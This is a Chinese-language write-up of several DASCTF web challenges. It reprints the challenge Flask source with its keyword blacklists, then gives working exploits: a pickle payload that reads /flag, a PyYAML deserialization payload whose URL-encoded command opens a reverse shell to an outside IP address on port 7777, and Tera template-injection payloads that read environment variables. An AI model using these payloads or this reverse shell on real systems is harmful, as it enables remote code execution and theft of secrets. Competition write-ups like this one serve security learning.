周末一个人简单打了一下DAS

web

const_python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64


app = Flask(__name__)

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")


class User:
def __init__(self, username, password, auth='ctfer'):
self.username = username
self.password = password
self.auth = auth

password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")

@app.route('/')
def index():
return "Welcome to my application"


@app.route('/login', methods=['GET', 'POST'])
def post_login():
if request.method == 'POST':

username = request.form['username']
password = request.form['password']


if username == 'admin' :
if password == admin.password:
session['username'] = "admin"
return "Welcome Admin"
else:
return "Invalid Credentials"
else:
session['username'] = username


return '''
<form method="post">
<!-- /src may help you>
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
'''


@app.route('/ppicklee', methods=['POST'])
def ppicklee():
data = request.form['data']

sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:

pickle_data = base64.b64decode(data)
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
if i.encode() in pickle_data:
return i+" waf !!!!!!!"

pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"


@app.route('/admin', methods=['POST'])
def admin():
username = session['username']
if username != "admin":
return jsonify({"message": 'You are not admin!'})
return "Welcome Admin"


@app.route('/src')
def src():
return open("app.py", "r",encoding="utf-8").read()

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5000)


简单看一下会知道其他路由都没什么用只有/ppicklee有用,一开始我是打算使用subprocess来绕过的
通过pker构造出了如下payload

1
b"cbuiltins\ngetattr\np0\n0cbuiltins\n__import__\np1\n0g1\n(S'subprocess'\ntRp2\n0g0\n(g2\nS'run'\ntRp3\n0g3\n((S'calc'\nltR."

但是不行,原因出在
1
2
sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"

其将os和sys都搬了
我在网上查了一下,其需要使用del sys.modules['os']来对其进行删除,然后再import导入,说实话有点麻烦了。
因为题目告诉了我们flag再/flag下,且其src路由会读取文件app.py内容并输出,那么我们直接使用builtins的open来读取文件,然后再write写入到app.py里即可

还是使用pker

1
2
3
4
5
6
7
8
9
10
getattr = GLOBAL('builtins', 'getattr')

open = GLOBAL('builtins', 'open')
flag=open('/flag')
read=getattr(flag, 'read')
f=open('./app.py','w')
write=getattr(f, 'write')
fff=read()
write(fff)
return

···
b”cbuiltins\ngetattr\np0\n0cbuiltins\nopen\np1\n0g1\n(S’/flag’\ntRp2\n0g0\n(g2\nS’read’\ntRp3\n0g1\n(S’./app.py’\nS’w’\ntRp4\n0g0\n(g4\nS’write’\ntRp5\n0g3\n(tRp6\n0g5\n(g6\ntR.”
···

补充:比赛的时候自己好像想麻烦了,并不用手搓。。。

yaml_matser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import re
import yaml
from flask import Flask, request, jsonify, render_template


app = Flask(__name__, template_folder='templates')

UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):


blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate',
'command','static','templates','session','&','globals','builtins'
'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}

input_str_lower = str(input_str).lower()


for term in blacklist_terms:
if term in input_str_lower:
print(f"Found blacklisted term: {term}")
return True
return False



file_pattern = re.compile(r'.*\.yaml$')


def is_yaml_file(filename):
return bool(file_pattern.match(filename))

@app.route('/')
def index():
return '''
Welcome to DASCTF X 0psu3
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/Yam1">Yam1</a>
'''

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
try:
uploaded_file = request.files['file']

if uploaded_file and is_yaml_file(uploaded_file.filename):
file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)
uploaded_file.save(file_path)

return jsonify({"message": "uploaded successfully"}), 200
else:
return jsonify({"error": "Just YAML file"}), 400

except Exception as e:
return jsonify({"error": str(e)}), 500


return render_template('upload.html')

@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
filename = request.args.get('filename','')
if filename:
with open(f'uploads/{filename}.yaml', 'rb') as f:
file_content = f.read()
if not waf(file_content):
test = yaml.load(file_content)
print(test)
return 'welcome'


if __name__ == '__main__':
app.run(host='0.0.0.0')

可以明显发现其是pyYaml反序列化这里贴一个大佬的博客SecMap - 反序列化(PyYAML)
我们看代码可以发现其是直接yaml.load(file_content)可以知道其Yaml的版本小于5.1,因为高版本的需要我们手动指定构造器
看一下黑名单可以发现器没有禁exec

1
2
3
4
5
6
7

!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: ""

我们看waf可以发现器禁了非常多,所以我想尝试使用编码绕过,而且我们可以发现再常见编码中url编码并没有被过滤
直接url编码命令然后弹shell即可
1
__import__('os').system('python3 -c \'import os,pty,socket;s=socket.socket();s.connect(("111.230.38.159",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")\'')

1
2
3
4
5
6
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "import urllib; exec(urllib.parse.unquote('%5f%5f%69%6d%70%6f%72%74%5f%5f%28%27%6f%73%27%29%2e%73%79%73%74%65%6d%28%27%70%79%74%68%6f%6e%33%20%2d%63%20%5c%27%69%6d%70%6f%72%74%20%6f%73%2c%70%74%79%2c%73%6f%63%6b%65%74%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%31%31%2e%32%33%30%2e%33%38%2e%31%35%39%22%2c%37%37%37%37%29%29%3b%5b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%66%29%66%6f%72%20%66%20%69%6e%28%30%2c%31%2c%32%29%5d%3b%70%74%79%2e%73%70%61%77%6e%28%22%73%68%22%29%5c%27%27%29'))"

感觉我这两题都是用非预期写的

CHECKIN

签到题

打开链接可以发现并不是https://game.gcsis.cn而是https://game.wetolink.com/

看源码可以发现器10s后跳转到https://game.gcsis.cn,扫一下https://game.wetolink.com/的目录

看一下robots

西湖论剑邀请函获取器

根据提示可以知道其应该是一个rust的ssti。且flag在环境变量里。
简单搜一下可以搜到Tera的ssti
https://brycec.me/posts/corctf_2023_challenges

1
{{ get_env(name="SECRET") }}
1
{{ get_env(name="FLAG") }}